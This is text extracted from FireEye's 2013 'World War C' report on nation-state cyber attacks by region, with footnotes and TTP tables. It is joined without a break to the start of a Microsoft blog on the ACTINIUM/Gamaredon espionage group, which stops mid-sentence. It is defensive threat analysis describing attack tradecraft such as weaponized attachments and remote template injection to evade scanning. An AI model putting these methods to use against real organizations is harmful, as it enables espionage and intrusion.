30 Choe Sang-Hun, C.  Markoff, J.
(8 Jul 2009) Cyberattacks Jam Government and Commercial Web Sites in U.S. and South Korea, The New York Times.
31 Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War, (27 Jun 2013) Symantec.
32 Fisher, M. (20 March 2013) South Korea under cyber attack: Is North Korea secretly awesome at hacking?
The Washington Post.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 10 At the same time, North Korea also asserts that it is a target of cyber attacks from South Korea and the U.S.
In June 2013, when the North suffered a two-day outage of all of its in-country websites, its state news agency denounced concentrated and persistent virus attacks, and proclaimed that the U.S. and South Korea will have to take the responsibility for the whole consequences.
The North noted that the attack took place in parallel with Key Resolve (joint U.S.-South Korean military exercises), but the U.S. Joint Chiefs of Staff denied any connection.33 India-Pakistan: old rivals, new tactics A heavily fortified border separates India and Pakistan on the map.
But the quiet, borderless nature of cyberspace means both sides are free to engage in cyber warfareeven during peacetime.
In 2009, India announced that Pakistani cybercriminals had placed malware on popular Indian music download sites as a clever, indirect way to compromise Indian systems.34 In 2010, the Pakistani Cyber Army defaced and subsequently shut down the website of the Central Bureau of Investigation, Indias top police agency.35 In 2012, over 100 Indian government websites were compromised.36 Not to be outdone, in 2013, cybercriminals in India undertook Operation Hangover, a large-scale Indian cyber espionage campaign that hit Pakistani IT, mining, automotive, legal, engineering, food service, military, and financial services networks.37 Although researchers could not definitively tie the attacks to Indias government, many of the targets represented the countrys national security interests.38 Association of Southeast Asian Nations (ASEAN): emerging economies as soft targets Since at least 2010, many APTs (likely China-based) have targeted the governments, militaries, and businesses of ASEAN, the Southeast Asian geopolitical and economic group composed of Brunei, Burma (Myanmar), Cambodia, Indonesia, Laos, Malaysia, Philippines, Singapore, Thailand, and Vietnam.
Although chances of any regional war erupting in the near term are low, a large volume of ongoing, regional cyber espionage activity is a constant.
Targeted industries include telecommunications, transportation, oil and gas, banks, and think tanks.
The usual motivation is to gain tactical or strategic advantage within the political, military, and economic domains.39 FireEye researchers are following numerous APT actors in this region, including BeeBus, Mirage, Check Command, Taidoor, Seinup, and Naikon.
Their most common tactic is spear phishing, often using legitimate decoy documents that are related to the targets national economy or politics, or to regional events such as ASEAN summits, Asia-Pacific Economic Cooperation (APEC) summits, energy exploration, or military affairs.
33 Herman, S. (15 Mar 2013) North Korea Blames US, South for Cyber Attack, Voice of America.
34 Significant Cyber Incidents Since 2006, Center for Strategic and International Studies.
35 India and Pakistan in cyber war, (4 Dec 2010) Al-Jazeera.
36 Muncaster, P. (16 March 2012) Hackers hit 112 Indian gov sites in three months, The Register.
37 Operation Hangover: QA on Attacks, (20 May 2013) Symantec.
38 Snorre Fagerland, et al.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure.
May 2013.
39 Finkle, J.
(4 Aug 2011) State actor behind slew of cyber attacks, Reuters.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 11 FireEye believes that many of these regional economic organizations are attractive targets for APT campaigns because the information they possess is valuable and their level of cyber security awareness is low.
Often, these organizations have inconsistent system administration, infrequent software patch management, poor policy control, or some combination of these issues.
Thus, many of these networks are low-hanging fruit for attackers.
And to make matters worse, compromised systems are used as staging grounds for further attacks on regional targets, by installing illicit command-and-control (CnC) servers, abusing legitimate email accounts, and disseminating stolen office documents as bait.
Russia/Eastern Europe Russiaa little bit too quiet?
In 1939, Winston Churchill declared that Russia was a riddle wrapped in a mystery inside an enigma .
Seven decades later, cyber defense researchers would say that not much has changed.
Compared with the constant attacks detected from China, you can almost hear the snow falling on Red Square.
One of the outstanding questions in cyber security today is: Where are the Russians?
Perhaps they are simply great hackers.
Maybe they have sufficient human intelligence.
Whatever the reason, cyber defense analysts often look in vain for the traces of Russian cybercriminals.
As a step toward finding some answers, however, consider the second half of Churchills quote:  but perhaps there is a key that key is Russian national interest.40 In other words, where there is smoke, there is usually fire.
In the mid-1990s, at the very dawn of the World Wide Web, Russia was engaged in a protracted struggle over the fate of Chechnya the Chechens became pioneers in cyber propaganda, and the Russians became pioneers is shutting down their websites.
In 1998, when Russian ally Serbia was under attack from NATO, pro-Serbian hackers jumped in the fray, targeting NATO with DoS attacks and at least twenty-five strains of virus-infected email.
In 2007, Russia was the prime suspect in the most famous international cyber attack to datethe punitive DDoS on Estonia for moving a Soviet-era statue.41 In 2008, researchers uncovered clear evidence that computer network operations played a supporting role in Russian military advances during its invasion of Georgia.42 Also in 2008, Russia was suspected in what U.S. Deputy Secretary of Defense William Lynn called the most significant breach of U.S. military computers everan attack on Central Command (CENTCOM), delivered through an infected USB drive.43 In 2009, Russian cybercriminals were blamed in Climategate, a breach of university research intended to undermine international negotiations on climate change mitigation.44 In 2010, NATO and the European Union warned of increased Russian cyber attacks, while the FBI arrested and deported a possible Russian intelligence agent named Alexey Karetnikov, who had been working as a software tester at Microsoft.45 40 Winston Churchill, Wikiquote.
41 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No.
6 SC Magazine (27 AUG 08) 1-12.
42 Overview by the US-CCU of the Cyber Campaign against Georgia in August of 2008, (Aug 2009) U.S. Cyber Consequences Unit.
43 Lynn, W.J.
(2010) Defending a New Domain: The Pentagons Cyberstrategy, Foreign Affairs 89(5) 97-108.
44 Stewart, W.  Delgado, M. (6 Dec 2009) Were Russian security services behind the leak of Climategate emails?
Daily Mail  Global warning: New Climategate leaks, (23 Nov 2011) RT.
45 Ustinova, A.
(14 Jul 2010) Microsoft Says 12th Alleged Russian Spy Was Employee, Bloomberg.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 12 One ironic aspect of nation-state cyber attacksespecially in authoritarian countriesis that many of them are inward facing.
In 2012, Russian security firm Kaspersky Lab announced the discovery of Red October,46 a cyber attack campaign that spied on millions of citizens around the world, but chiefly within the former Soviet Union.
Targets included embassies, research firms, military bases, energy providers, nuclear agencies, and critical infrastructure.47 Similarly, in 2013, researchers found malware on millions of Android devices in Russia and in Russian-speaking countries.
Either or both of these attacks could be partially explained as the Russian government keeping an eye on its own population, and that of neighboring countries.48 On the brighter side, as a step toward cyber dtente, the U.S. and Russia in 2013 signed an agreement to build a cyber hotlinesimilar to that used for nuclear scares during the Cold Warto help defuse any computer-related crises in the future.49 But, just to be on the safe side, Russia is taking the extreme cyber defense measure of buying old-fashioned typewriters,50 and the Russian military is (like the U.S., China, and Israel) creating cyber warfare-focused units.51 Russian tactics Though relatively quiet, Russia appears to be home to many of the most complex and advanced cyber attacks FireEye researchers have seen.
More specifically, Russian exploit code can be significantly stealthier than its Chinese counterpartwhich can also make it more worrisome.
The Red October campaign, including its satellite software dubbed Sputnik, is a prominent example of likely Russian malware.
TTP often includes the delivery of weaponized email attachments, though Russian cybercriminals appear to be adept at changing their attack patterns, exploits, and data exfiltration methods to evade detection.
In fact, one telltale aspect of Russian hackers seems to be that, unlike the Chinese, they go to extraordinary lengths to hide their identities and objectives.
FireEye analysts have even seen examples in which they have run false-flag cyber operations, designing their attack to appear as if it came from Asia.
46 The Red October CampaignAn Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies (14 Jan 2013) GReAT, Kaspersky Lab.
47 Lee, D. (14 Jan 2013) Red October cyber-attack found by Russian researchers, BBC News 48 Jackson Higgins, K. (3 Aug 2013) Anatomy of a Russian Cybercrime Ecosystem Targeting Android, Dark Reading.
49 Gallagher, S. (18 Jun 2013) US, Russia to install cyber-hotline to prevent accidental cyberwar, Ars Technica.
50 Ingersoll, G. (11 Jul 2013) Russia Turns to Typewriters to Protect against Cyber Espionage, Business Insider.
51 Gorshenin, V. (29 Aug 2013) Russia to create cyber-warfare units, Pravda.
RUSSIA FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 13 One further problem for cyber defense researchers is that some Russian back doors into compromised systems are hard to distinguish from advanced cybercriminal break-ins.
Reconnaissance Likely HUMINT Sources Weaponization Malicious DOC/XLS File Formats Delivery Weaponized Email Attachments Exploitation 0-Day Application Vulnerabilities Installation Feature Rich RAT with Encrypted Modules Command and Control (C2) HTTP with Custom Embedded Encoding / Encryption Actions on Objectives Intelligence Gathering (Govt.
Focused) TTP Exemplars Red October Middle East As a region, the Middle East may not possess the arsenal of zero-day exploits available in Russia, or the brute-force numbers of China.
Therefore, some Middle Eastern hackers may have to rely on cyber tactics that emphasize novelty, creativity, and deception.
For example, the 2012 Mahdi campaign, which infected targets in the Middle East, used malicious Word documents, PowerPoint files, and PDFs to infect targets.
That approach is similar to many other attackers.
But these attacks were accompanied by some imaginative elements such as games, attractive images, and custom animations specifically designed to aid in the attack.
Not only did they trick users into executing commands to install malicious code, but they also distracted users from seeing malware-related warning messages.
Furthermore, Mahdi attacks were tailored to specific target audiencesfor example by offering variations of games unique to each organization.
Such pinpoint strikes rely on prior reconnaissance, help to evade cyber defense behavioral-detection mechanisms, and dramatically increase the odds of compromise.
So in the Middle East, the relative sophistication of an attack may be calculated less in the technology, and more in the clever ways in which malware is delivered and installed on a target network.
Table 2: Characteristics of Russian cyber attacks FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 14 Iran: a hot cyber war Wherever significant activity erupts in the real world (including crime, espionage, and warfare), parallel activity unfolds in cyberspace.
It is therefore unsurprising that Iranwhich has tense international relations and is on the verge of acquiring a nuclear bombhas also experienced the most sophisticated cyber attacks to date.
In 2010, Stuxnet was a cyber missile of sorts designed with painstaking precision to burrow deep into Irans nuclear program and destroy physical infrastructure.
To some degree, this piece of software replaced a squadron of fighter aircraft that would have violated foreign airspace, dropped laser- guided bombs, and left a smoking crater in the Earths surface.52 Beyond Stuxnet, other advanced espionage attacks have worried security experts, including Duqu, Flame, and Gauss, which all may have come from the same threat actor.53 And even amateurs are successfully targeting Iran although the Mahdi malware is by comparison far less sophisticated than Stuxnet and its cousins, Mahdi has still managed to compromise engineering firms, government agencies, financial services firms, and academia throughout the Middle East.54 52 Sanger, D. Confront and Conceal.
(
New York: 2012) pp.
188-225.
53 Boldizsr Bencsth.
Duqu, Flame, Gauss: Followers of Stuxnet, BME CrySyS Lab, RSA 2012.
54 Simonite, T. (31 Aug 2012) Bungling Cyber Spy Stalks Iran, MIT Technology Review.
Reconnaissance Regional Mailing Lists, Conferences Weaponization Malicious PPT/PPS Files Delivery Weaponized Email Attachments Exploitation Social Engineering Mouse Clicks on Screen Installation Primitive Collection of Custom Tools / RAT (Requires Operator For Lateral Movement) Command and Control (C2) Plain HTTP Hiding in Plain Sight Actions on Objectives Intelligence Gathering (Middle East Focused), Denial of Service TTP Exemplars Madi, LV Table 3: Characteristics of Middle Eastern cyber attacks FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 15 So how does anyone, including a nation-state, respond to a cyber attack?
Does the counterstrike remain within the cyber realm, or can it come in the form of a traditional military (or terrorist) assault?
In 2012, Iran appears to have chosen the first option.
A hacker group called the Cutting Sword of Justice used the Shamoon virus to attack the Saudi Arabian national oil company Aramco, deleting data on three-quarters of Aramcos corporate PCs (including documents, spreadsheets, e-mails, and files) and replacing them with an image of a burning American flag.55 And over the past year, another group called Izz ad-Din al-Qassam launched Operation Ababil, a series of DDoS attacks against many U.S. financial institutions including the New York Stock Exchange.56 Other examples of cyber attacks abound.
In 2009, the plans for a new U.S. Marine Corps 1 presidential helicopter were found on a file-sharing network in Iran.57 In 2010, the Iranian Cyber Army disrupted Twitter and the Chinese search engine Baidu, redirecting users to Iranian political messages.58 In 2011, Iranian attackers compromised a Dutch digital certificate authority, after which it issued more than 500 fraudulent certificates for major companies and government agencies.59 In 2012, Iran disrupted the BBCs Persian Language Service, and University of Toronto researchers reported that some versions of the Simurgh proxy software (which is popular in countries like Iran and anonymizes Internet traffic) also installed a Trojan that collected usernames and keystrokes, sending them to a likely intelligence collection site.60 Finally, in 2013 the Wall Street Journal reported that Iranian actors had increased their efforts to compromise U.S. critical infrastructure.61 Syria: what is the Syrian Electronic Army?
Syria is in the midst of a civil war, so researchers have a lot of cyber activity to analyze.
The most prominent hacker group by far is the Syrian Electronic Army (SEA), which is loyal to Syrian President Bashar al-Assad.
SEA has conducted DDoS attacks, phishing, pro-Assad defacements, and spamming campaigns against governments, online services, and media that are perceived to be hostile to the Syrian government.
SEA has hacked Al-Jazeera, Anonymous, Associated Press (AP), BBC, Daily Telegraph, Financial Times, Guardian, Human Rights Watch, National Public Radio, The New York Times, Twitter, and more.62 Its most famous exploit was a hoax announcement using APs Twitter account that the White House was bombed and President Obama injuredafter which stock markets briefly dipped to the tune of 200 billion.63 55 Perlroth, N. (23 Oct 2012) In Cyberattack on Saudi Firm, U.S. Sees Iran Firing Back, The New York Times.
56 Walker, D. (8 Mar 2013) Hacktivists plan to resume DDoS campaign against U.S. banks, SC Magazine.
57 Borak, D. (3 Mar 2009) Source in Iran views Marine One blueprints, Marine Corps Times.
58 Wai-yin Kwok, V. (13 Jan 2010) Baidu Hijacked By Cyber Army, Forbes.
59 Charette, R. (9 Sep 2011) DigiNotar Certificate Authority Breach Crashes e-Government in the Netherlands, IEEE Spectrum.
60 Iranian anti-censorship software Simurgh circulated with malicious backdoor, (25 May 2012) Citizenlab.
61 Gorman, S.  Yadron, D. (23 May 2013) Iran Hacks Energy Firms, U.S. Says, Wall Street Journal.
62 Fisher, M.  Keller, J.
(31 Aug 2011) Syrias Digital Counter-Revolutionaries.
The Atlantic Syrian Electronic Army, (accessed 25 July, 2013) Wikipedia.
63 Manzoor, S. (25 July, 2013) Slaves to the algorithm: Are stock market math geniuses, or quants, a force for good?
The Sunday Telegraph.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 16 In the month of July 2013 alone, SEA compromised three widely used online communications websites: Truecaller (the worlds largest telephone directory),64 Tango (a video and text messaging service),65 and Viber (a free online calling and messaging application).66 These types of compromises are significant because they can give Syrian intelligence access to the communications of millions of people, including political activists within Syria who might then be targeted for espionage, intimidation, and arrest.
To compromise its targets, the SEA often sends socially engineered, spear-phishing emails to lure opposition activists into opening fraudulent, weaponized, and malicious documents.
If the recipient falls for the scam, Trojan horse, remote access tool (RAT) software is installed on the victims computer that can give the attacker keystrokes, screenshots, microphone and webcam recordings, stolen documents, and passwords.
And of course, the SEA likely sends all of this information to a computer address lying within Syrian government-controlled Internet Protocol (IP) space for intelligence collection and review.67 Israel: old conflict, new tactics Even during the Cold War, the Arab-Israeli conflict saw many hot wars, and it was often the testing ground for new military weapons and tactics.
Nothing has changed in the Internet era.
Since at least 2000, pro-Israeli hackers have targeted sites of political and military significance in the Middle East.68 In 2007, Israel reportedly disrupted Syrian air defense networks via cyber attack (with some collateral damage to its own domestic networks) to facilitate the Israeli Air Forces destruction of an alleged Syrian nuclear facility.69 64 Khare, A.
(19 July 2013) Syrian Electronic Army Hacks Truecaller Database, Gains Access Codes to Social Media Accounts.
iDigital Times.
65 Kastrenakes, J.
(22 July 2013) Syrian Electronic Army alleges stealing millions of phone numbers from chat app Tango.
The Verge Albanesius, C. (23 July 2013) Tango Messaging App Targeted by Syrian Electronic Army.
PCMag.
66 Ashford, W. (24 July 2013) Syrian hacktvists hit second mobile app in a week.
Computer Weekly.
67 Tsukayama, H. (28 Aug 2013) Attacks like the one against the New York Times should put consumers on alert, The Washington Post.
68 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No.
6 SC Magazine (27 AUG 08) 1-12.
69 Carroll, W. (26 Nov 2007) Israels Cyber Shot at Syria, Defense Tech.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 17 But as an advanced industrial nation, Israel also depends on information technology.
The nation has proven to be vulnerable to cyber attacks, which often target the Israeli economy.
In 2009, during Israels military operation in Gaza, hackers briefly paralyzed many government sites with a DDoS attack from at least 500,000 computers.
The 2009 attack consisted of four independent waves, each stronger than the last, peaking at 15 million junk mail deliveries per second.
The Israeli Home Front Command website, which plays a key role in national defense communications with the public, was down for three hours.
Due to technical similarities with the 2008 cyber attack on Georgia during its war with Russia, Israeli officials surmised that the attack itself might have been carried out by a criminal organization in the former Soviet Union, and paid for by Hamas or Hezbollah.70 Often, the trouble with cyber attacks is that they do not need to be highly sophisticated to succeed, even against security-conscious Israel.
In 2012, the ineptly written71 Mahdi malware compromised at least 54 targets in Israel.72 Last but not least, in 2013, the Iranian media reported that the Syrian army had carried out a cyber attack against the water supply of the Israeli city of Haifa.
Prof. Isaac Ben-Israel, a cyber security adviser to Prime Minister Benjamin Netanyahu, said that the report was false, but added that cyber attacks on critical infrastructures pose a real and present threat to Israel.73 The West United States Analysts believe that the U.S. has conducted the most highly engineered cyber attacks to date, including Stuxnet,74 Duqu, Flame, and Gauss.75 This family of malware is unparalleled in its complexity and targeting.
Stuxnet in particular was developed with a singular goal (to disrupt Iranian nuclear enrichment) that was both narrowly focused and capable of yielding strategic gains in the international arena.
In contrast to computer worms such as Slammer and Code Red, Stuxnet did not seek to compromise as many computers as possible, but as few as possible.
Even more amazing, its malicious behavior was concealed under a veneer of apparently legitimate operational databut ultimately, the malware destroyed Iranian centrifuges.
This family of malware was exquisitely designed.
For example, its payload can arrive at its destination encryptedand become decrypted and installed only on a target device.
This helps the malware to evade the prying eyes of cyber defenders, making discovering and reverse engineering the malware much more difficult.
Ironically, this family of malware could be a paragon of over-engineering.
For example, it not only uses multiple zero-day exploits, but also world-first computational achievements such as a forced cryptographic hash collision.76 In the case of Iran (which is currently subject to a trade embargo that restricts its acquisition of high technology), it is doubtful whether Iranian software is up-to-date or properly configured.
So the authors of Stuxnet could likely have used more conventional computer exploits and still succeeded.
70 Pfeffer, A.
(15 Jun 2009) Israel suffered massive cyber attack during Gaza offensive, Haaretz.
71 Simonite, T. (31 Aug 2012) Bungling Cyber Spy Stalks Iran, MIT Technology Review.
72 Zetter, K. (17 Jul 2012) Mahdi, the Messiah, Found Infecting Systems in Iran, Israel, WIRED.
73 Yagna, Y.
(26 May 2013) Ex-General denies statements regarding Syrian cyber attack, Haaretz.
74 Sanger, D. Confront and Conceal.
(
New York: 2012) pp.
188-225.
75 Boldizsr Bencsth.
Duqu, Flame, Gauss: Followers of Stuxnet, BME CrySyS Lab, RSA 2012.
76 Goodin, Dan (7 Jun 2012) Crypto breakthrough shows Flame was designed by world-class scientists, Ars Technica.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 18 One possible telling aspect of U.S. cyber attacks: they require such a high level of financial investment, technical sophistication, and legal oversight that they will stand out from the crowd.
On the last point, Richard Clarke, who served three U.S. Presidents as a senior counterterrorism official, argued that Stuxnet was a U.S. operation because it very much had the feel to it of having been written by or governed by a team of Washington lawyers.77 Finally, the amount of work involved in these operations suggests the participation of an enormous defense contractor base, with different companies specializing in particular aspects of a large and complex undertaking.
On the downside (and similar to the Israeli case), all advanced industrial economies are vulnerable to cyber counterattack.
In 2008, a CIA official informed a conference of critical infrastructure providers that unknown cybercriminals, on multiple occasions, had been able to disrupt the power supply in various foreign cities.78 In the military domain, Iraqi insurgents used 26 off-the-shelf software to intercept live video feeds from U.S.
Predator drones, likely giving them the ability to monitor and evade U.S. military operations.79 In the economic sphere, the U.S.-based International Monetary Fund (IMF) fell victim to a phishing attack in 2011 that was described as a very major breach.80 Thus, while cyber attacks are relatively a new phenomenon, they represent a growing national security challenge.
As part of a broader effort to mitigate the threat, President Obama signed a directive in 2013 that the U.S. should aid allies who come under foreign cyber attack.81 77 Rosenbaum, R. (Apr 2012) Richard Clarke on Who Was Behind the Stuxnet Attack, Smithsonian.
78 Nakashima, E.  Mufson, S. (19 Jan 2008) Hackers Have Attacked Foreign Utilities, CIA Analyst Says, Washington Post.
79 Gorman, S., Dreazen, Y.  Cole, A.
(17 Dec 2009) Insurgents Hack U.S. Drones, Wall Street Journal.
80 Sanger, D.  Markoff, J.
(11 Jun 2011) I.M.F.
Reports Cyberattack Led to Very Major Breach, New York Times.
81 Shanker, T.  Sanger, D. (8 Jun 2013) U.S.
Helps Allies Trying to Battle Iranian Hackers, New York Times.
Reconnaissance Likely HUMINT Sources Weaponization Auto Infected Removable Media Delivery USB Removable Media Exploitation Social Engineering USB Media Use Installation Well-Crafted, Targeted (Crypto-Keyed) Worm (No Operator Required Auto-Lateral Movement) Command and Control (C2) Strategic One-Time Use C2 Nodes Full SSL Crypto Actions on Objectives Intelligence Gathering / Subtle System Disruption (Middle East Focused) TTP Exemplars Stuxnet, Flame, Duqu, Gauss Table 4: Characteristics of Western cyber attacks FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 19 Europe No prominent examples have been discovered of the European Union (EU) or the North Atlantic Treaty Organization (NATO) conducting their own offensive cyber attacks.
On the contrary, their leaders have so far foresworn them.82 But many examples reveal European networks getting hacked from other parts of the world, particularly China and Russia.
Within government, cyber attacks on the British Foreign Ministry evaded network defenses in 2010 by pretending to come from the White House.83 In 2011, German Police found that servers used to locate serious criminals and terrorism suspects had been penetrated, initially via a phishing attack.84 Also in 2011, European Commission officials were targeted at an Internet Governance Forum (IGF) in Azerbaijan.85 In the military sphere, in 2009, French Navy planes were grounded following an infection by the Conficker worm.86 In 2012, the UK admitted that cybercriminals had penetrated its classified Ministry of Defense networks.87 In business, the European Unions carbon trading market was breached in 2011, resulting in the theft of more than 7 million in credits, forcing the market to shut down temporarily.88 In 2012, the European Aeronautic Defence and Space Company (EADS) and German steelmaker ThyssenKrupp fell victim to major attacks by Chinese cybercriminals.89 Security professionals should particularly be on the lookout for APT cyber threats just before and during international negotiations.
In 2011 alone, the European Commission complained of widespread hacking before an EU summit,90 the French government was compromised prior to a G-20 meeting,91 and at least 10 Norwegian defense and energy companies were breached during large-scale contract negotiations, via phishing that was specifically tailored to each company.92 82 Leyden, J.
(6 June 2012) Relax hackers NATO has no cyber-attack planstop brass, The Register.
83 Arthur, C. (5 Feb 2011) William Hague reveals hacker attack on Foreign Office in call for cyber rules, The Observer.
84 Hackers infiltrate German police and customs service computers, (18 July 2011) Infosecurity Magazine.
85 Satter, R. (10 Nov 2012) European Commission Officials Hacked At Internet Governance Forum, Huffington Post.
86 Willsher, K. (7 Feb 2009) French fighter planes grounded by computer virus, The Telegraph.
87 Hopkins, N. (3 May 2012) Hackers have breached top secret MoD systems, cyber-security chief admits, The Guardian.
88 Krukowska, E.  Carr, M. (20 Jan 2011), EU Carbon Trading Declines After Alleged Hacking Suspends Spot Market, Bloomberg.
89 Rochford, O.
(24 Feb 2013) European Space, Industrial Firms Breached in Cyber Attacks: Report, Security Week.
90 Serious cyber attack on EU bodies before summit, (23 Mar 2011) BBC.
91 Charette, R. (8 Mar 2011) Spectacular Cyber Attack Gains Access to Frances G20 Files, IEEE Spectrum.
92 Albanesius, C. (18 Nov 2011) Norway Cyber Attack Targets Countrys Oil, Gas Systems, PCMag.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 20 Conclusion World War Z told a story of idiosyncratic national behavior in response to a major international crisis.
This report sought to highlight the same phenomenon in regard to the challenges posed by national cyber insecurity and international cyber attacks.
Behind every incident is an agendaand individual human beingseach unique and ultimately identifiable.
The bigger the cyber campaign, the more data it generates for security researchers, and the more difficulty attackers will have remaining anonymous and hiding their agenda.
As for crystal balls: no one knows what the next cyber attack will look like.
But considering recent trends, we can make a few educated guesses.
Here are five factors that could change the worlds cyber security landscape in the near- to medium-term: 1.
Outage of national critical infrastructure: we know that cyber attacks can disrupt government networks, but most current cases simply do not rise to the level of a national security threat.
Stuxnet and Irans alleged retaliation against Saudi Aramcohas shifted the thinking on cyber war from theory to something closer to reality.
But have we seen the limit of what cyber attacks can achieve, or could cybercriminals threaten public safety by downing a power grid or financial market?
2.
Cyber arms treaty: if world leaders begin to view cyber attacks as more of a liability than an opportunity, they may join a cyber arms control regime or sign a non-aggression pact for cyberspace.
However, arms control requires the ability to inspect for a prohibited item.
President Reagans favorite Russian proverb was ,  , or trust but verify.
Given that a single USB stick can now hold billions of bits of information, verifying would be easier said than done.
3.
PRISM, freedom of speech, and privacy: we are still at the dawn of the Internet era, and this conversation has only just begun.
It encompasses Daniel Ellsberg, Chelsea Manning, and Edward Snowden, as well as the Declaration of Independence, Enigma, and The Onion Router (TOR).
Today, politicians, spooks, and hippies are all aware of a critical debate on the horizonjust how much online privacy should we have?
4.
New actors on the cyber stage: the revolutionary nature of computers and the amplification power of networks are not exclusive to the worlds largest nations.
Iran, Syria, North Korea, and even non- state actors such as Anonymous have employed cyber attacks as a way to conduct diplomacy and wage war by other means.
Researchers have little reason to think that other governments are not active in this domain.
Possible candidates could be: a. Poland: it was the Poles who first broke the German Enigma cipherway back in 1932 Today, with programming talent and well-known rivalry with Russia, it is a possibility.
b. Brazil: Home to some of the worlds most prolific cybercriminals, will Brazils government, be angry about recent revelations of U.S. cyber spying, harness this talent for geopolitical ends?
c. Taiwan: with constant cyber attacks emanating from Mainland China, Taipei may have little choice but to react.
5.
Stronger focus on evasion: as we have seen, some nation-states know how to launch stealthy cyber attacks.
But as the discipline of cyber defense matures, and as public awareness of the World War C phenomenon grows, some noisy cyber attackers such as China may be forced to raise their game by trying to fly under a more finely tuned radar.
FireEye, Inc.      World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 21 FireEye, Inc.   1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infoFireEye.com    www.
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RPT.WWC.EN-US.092013 The analysis and conclusions drawn in this paper are conjectural.
Cyber security, cyber espionage, and cyber war are new and rapidly evolving concepts.
Furthermore, most computer network operations are shrouded in secrecy.
Deception is a given.
A cyber attack, viewed outside of its geopolitical context, allows very little legal maneuvering room for the defending state, said Prof. Thomas Wingfield of the Marshall Center, in a recent email interview with FireEye.
False flag operations and the very nature of the Internet make tactical attribution a losing game.
But Wingfield adds that strategic attributionfusing all sources of intelligence on a potential threat allows a much higher level of confidence and more options for government decision makers.
And strategic attribution begins and ends with geopolitical analysis, he said.
With this in mind, we hope that an awareness of this World War C dynamic helps cyber security professionals better understand, identify, and combat cyber attacks in the future.
About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including Web, email, and files and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,100 customers across more than 40 countries, including over 100 of the Fortune 500.
For more information on next-generation threat protection, visit www.
FireEye.com
1/18 February 4, 2022 ACTINIUM targets Ukrainian organizations microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to Ukrainian affairs.
MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon.
In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military, non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating sensitive information, maintaining access, and using acquired access to move laterally into related organizations.
MSTIC has observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage.
The Ukrainian government has publicly attributed this group to the Russian Federal Security Service (FSB).
Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution of international and humanitarian aid to Ukraine in a crisis.
As with any observed nation-state actor activity, Microsoft directly notifies customers of online services that have been targeted or compromised, providing them with the information they need to secure their accounts.
Microsoft has shared this information with Ukrainian authorities.
ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an earlier blog post.
As of this writing, MSTIC has not found any indicators correlating these two actors or their operations.
The observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine.
We have not seen this actor using any unpatched vulnerabilities in Microsoft products or services.
Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our extensive analysis.
Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and information to implement proactive protections against future attempts.
Activity description Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several significant elements that we believe are important to understanding these activities.
Its important to note that ACTINIUMs tactics are constantly evolving the activities described in this blog are some of the most consistent and notable observations by Microsoft, but these are not all-encompassing of actor TTPs.
Phishing using remote templates One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates.
Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros.
Delivery using remote template injection ensures that malicious content is only loaded when required (for example, when the user opens the document).
This helps attackers to evade static detections, for example, by systems that scan attachments for malicious content.
Having the malicious macro hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading detection by preventing automated systems from obtaining and analyzing the malicious component.
MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade as legitimate organizations, using benign attachments to establish trust and familiarity with the target.
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/ https://ssu.gov.ua/uploads/files/DKIB/Technical20report20Armagedon.pdf https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ 2/18 This phishing email from ACTINIUM uses the sender domain who-int[.
